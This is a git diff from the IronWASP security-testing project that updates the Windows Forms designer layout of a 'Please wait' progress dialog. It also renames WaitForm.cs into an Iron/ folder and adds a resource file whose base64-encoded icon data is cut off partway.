System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; - dataGridViewCellStyle3.BackColor = System.Drawing.Color.White; - dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.White; - dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.White; - dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ProjectLoadGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle3; - this.ProjectLoadGrid.RowHeadersVisible = false; - this.ProjectLoadGrid.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing; - this.ProjectLoadGrid.RowTemplate.DefaultCellStyle.SelectionBackColor = System.Drawing.Color.White; - this.ProjectLoadGrid.RowTemplate.DefaultCellStyle.SelectionForeColor = System.Drawing.Color.Black; - this.ProjectLoadGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ProjectLoadGrid.ShowCellErrors = false; - this.ProjectLoadGrid.ShowCellToolTips = false; - this.ProjectLoadGrid.ShowEditingIcon = false; - this.ProjectLoadGrid.ShowRowErrors = false; - this.ProjectLoadGrid.Size = new System.Drawing.Size(399, 280); - this.ProjectLoadGrid.TabIndex = 1; - // - // Section - // - this.Section.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.Section.HeaderText = "Activity"; - this.Section.MinimumWidth = 100; - this.Section.Name = "Section"; - this.Section.ReadOnly = true; - // - // Count - // - this.Count.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.Count.DefaultCellStyle = dataGridViewCellStyle1; - this.Count.HeaderText = "Count"; - this.Count.MinimumWidth = 100; - this.Count.Name = "Count"; - this.Count.ReadOnly = true; - // - // Status - // - this.Status.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.White; - dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.Black; - this.Status.DefaultCellStyle = dataGridViewCellStyle2; - this.Status.HeaderText = "Status"; - this.Status.MinimumWidth = 100; - this.Status.Name = "Status"; - this.Status.ReadOnly = true; - // - // OK - // - this.OK.Location = new System.Drawing.Point(302, 345); - this.OK.Name = "OK"; - this.OK.Size = new System.Drawing.Size(109, 23); - this.OK.TabIndex = 2; - this.OK.Text = "OK"; - this.OK.UseVisualStyleBackColor = true; - this.OK.Visible = false; - this.OK.Click += new System.EventHandler(this.OK_Click); - // - // WaitForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(418, 372); - this.ControlBox = false; - this.Controls.Add(this.OK); - this.Controls.Add(this.ProjectLoadGrid); - this.Controls.Add(this.WaitFormProgressBar); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(424, 400); - this.MinimumSize = new System.Drawing.Size(424, 400); - this.Name = "WaitForm"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Please wait...."; - ((System.ComponentModel.ISupportInitialize)(this.ProjectLoadGrid)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - internal System.Windows.Forms.ProgressBar WaitFormProgressBar; - internal System.Windows.Forms.DataGridView ProjectLoadGrid; - internal System.Windows.Forms.Button OK; - private System.Windows.Forms.DataGridViewTextBoxColumn Section; - private System.Windows.Forms.DataGridViewTextBoxColumn Count; - private System.Windows.Forms.DataGridViewTextBoxColumn Status; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class WaitForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(WaitForm)); + this.WaitFormProgressBar = new System.Windows.Forms.ProgressBar(); + this.ProjectLoadGrid = new System.Windows.Forms.DataGridView(); + this.Section = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Count = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Status = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OK = new System.Windows.Forms.Button(); + ((System.ComponentModel.ISupportInitialize)(this.ProjectLoadGrid)).BeginInit(); + this.SuspendLayout(); + // + // WaitFormProgressBar + // + this.WaitFormProgressBar.Location = new System.Drawing.Point(12, 14); + this.WaitFormProgressBar.Maximum = 6; + this.WaitFormProgressBar.Minimum = 1; + this.WaitFormProgressBar.Name = "WaitFormProgressBar"; + this.WaitFormProgressBar.Size = new System.Drawing.Size(384, 23); + this.WaitFormProgressBar.Step = 1; + this.WaitFormProgressBar.TabIndex = 0; + this.WaitFormProgressBar.Value = 1; + // + // ProjectLoadGrid + // + this.ProjectLoadGrid.AllowUserToAddRows = false; + this.ProjectLoadGrid.AllowUserToDeleteRows = false; + this.ProjectLoadGrid.AllowUserToResizeRows = false; + this.ProjectLoadGrid.BackgroundColor = System.Drawing.Color.White; + this.ProjectLoadGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ProjectLoadGrid.ClipboardCopyMode = System.Windows.Forms.DataGridViewClipboardCopyMode.Disable; + this.ProjectLoadGrid.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; + this.ProjectLoadGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ProjectLoadGrid.ColumnHeadersVisible = false; + this.ProjectLoadGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Section, + this.Count, + this.Status}); + this.ProjectLoadGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ProjectLoadGrid.EnableHeadersVisualStyles = false; + this.ProjectLoadGrid.GridColor = System.Drawing.Color.White; + this.ProjectLoadGrid.Location = new System.Drawing.Point(5, 51); + this.ProjectLoadGrid.MultiSelect = false; + this.ProjectLoadGrid.Name = "ProjectLoadGrid"; + this.ProjectLoadGrid.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.White; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ProjectLoadGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle3; + this.ProjectLoadGrid.RowHeadersVisible = false; + this.ProjectLoadGrid.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing; + this.ProjectLoadGrid.RowTemplate.DefaultCellStyle.SelectionBackColor = System.Drawing.Color.White; + this.ProjectLoadGrid.RowTemplate.DefaultCellStyle.SelectionForeColor = System.Drawing.Color.Black; + this.ProjectLoadGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ProjectLoadGrid.ShowCellErrors = false; + this.ProjectLoadGrid.ShowCellToolTips = false; + this.ProjectLoadGrid.ShowEditingIcon = false; + this.ProjectLoadGrid.ShowRowErrors = false; + this.ProjectLoadGrid.Size = new System.Drawing.Size(399, 308); + this.ProjectLoadGrid.TabIndex = 1; + // + // Section + // + this.Section.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Section.HeaderText = "Activity"; + this.Section.MinimumWidth = 100; + this.Section.Name = "Section"; + this.Section.ReadOnly = true; + // + // Count + // + this.Count.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.Count.DefaultCellStyle = dataGridViewCellStyle1; + this.Count.HeaderText = "Count"; + this.Count.MinimumWidth = 100; + this.Count.Name = "Count"; + this.Count.ReadOnly = true; + // + // Status + // + this.Status.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.Black; + this.Status.DefaultCellStyle = dataGridViewCellStyle2; + this.Status.HeaderText = "Status"; + this.Status.MinimumWidth = 100; + this.Status.Name = "Status"; + this.Status.ReadOnly = true; + // + // OK + // + this.OK.Location = new System.Drawing.Point(295, 365); + this.OK.Name = "OK"; + this.OK.Size = new System.Drawing.Size(109, 23); + this.OK.TabIndex = 2; + this.OK.Text = "OK"; + this.OK.UseVisualStyleBackColor = true; + this.OK.Visible = false; + this.OK.Click += new System.EventHandler(this.OK_Click); + // + // WaitForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(408, 391); + this.ControlBox = false; + this.Controls.Add(this.OK); + this.Controls.Add(this.ProjectLoadGrid); + this.Controls.Add(this.WaitFormProgressBar); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(424, 430); + this.MinimumSize = new System.Drawing.Size(424, 430); + this.Name = "WaitForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Please wait...."; + ((System.ComponentModel.ISupportInitialize)(this.ProjectLoadGrid)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + internal System.Windows.Forms.ProgressBar WaitFormProgressBar; + internal System.Windows.Forms.DataGridView ProjectLoadGrid; + internal System.Windows.Forms.Button OK; + private System.Windows.Forms.DataGridViewTextBoxColumn Section; + private System.Windows.Forms.DataGridViewTextBoxColumn Count; + private System.Windows.Forms.DataGridViewTextBoxColumn Status; + } } \ No newline at end of file diff --git a/IronWASP/WaitForm.cs b/Iron/WaitForm.cs similarity index 96% rename from IronWASP/WaitForm.cs rename to Iron/WaitForm.cs index 78c0428..8acc5f2 100644 --- a/IronWASP/WaitForm.cs +++ b/Iron/WaitForm.cs @@ -1,41 +1,41 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see . -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class WaitForm : Form - { - public WaitForm() - { - InitializeComponent(); - } - - private void OK_Click(object sender, EventArgs e) - { - this.Close(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see . +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class WaitForm : Form + { + public WaitForm() + { + InitializeComponent(); + } + + private void OK_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git a/Iron/WaitForm.resx b/Iron/WaitForm.resx new file mode 100644 index 0000000..2b252d2 --- /dev/null +++ b/Iron/WaitForm.resx @@ -0,0 +1,1927 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 